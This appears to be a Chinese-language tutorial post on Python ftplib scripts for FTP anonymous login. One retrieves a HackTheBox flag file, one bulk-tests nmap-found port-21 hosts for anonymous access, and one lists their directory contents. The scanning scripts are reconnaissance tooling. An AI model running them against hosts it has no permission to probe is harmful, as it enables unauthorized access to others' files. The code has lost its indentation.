python扫描-ftp匿名登陆

参考书籍:《Foundations of Python Network Programming 2nd》Page294


案例一,下载user.txt

在hackthebox中,用python代码下载位于10.10.10.152的ftp端口上的user.txt文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#ascii download
import os
from ftplib import FTP

if os.path.exists('user.txt'):
raise IOError('refusing to overwrite your user.txt')

def writeline(data):
fd.write(data)
fd.write(os.linesep)

f = FTP('10.10.10.152') #远程IP
f.login()
f.cwd('/Users/Public') #切换远程系统上的工作目录

fd = open('user.txt', 'w')
f.retrlines('RETR user.txt', writeline) #开始传输
fd.close()
f.quit()

案例二,扫描开放21端口的主机。

通过这个脚本,我们获得了40个主机的端口扫描结果。

接下来,用python自动连接开放21端口的主机。

grep ‘21/tcp’ */nmap-result > test/result

将ip写入ip.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#if anonymous can login 
from ftplib import FTP,error_perm

def try_login(IP):
f=FTP(IP)
try:
f.login()
print "Current working directory:", f.pwd()
f.quit()
except error_perm:
print 'error'
return #ignore non-directories and ones we cannot enter
f = open("ip.txt",'r')
all_ip = f.read().splitlines()
print all_ip
for i in all_ip:
print i
try_login(i)
print '-----------'


修改下try的代码段,列出ip.txt中,可以匿名登陆的ip。

1
2
3
4
5
6
7
8
9
10
f.login()
print "Current working directory:", f.pwd()

entries = []
f.dir(entries.append)
print "%d entries:" % len(entries)

for entry in entries:
print entry
f.quit()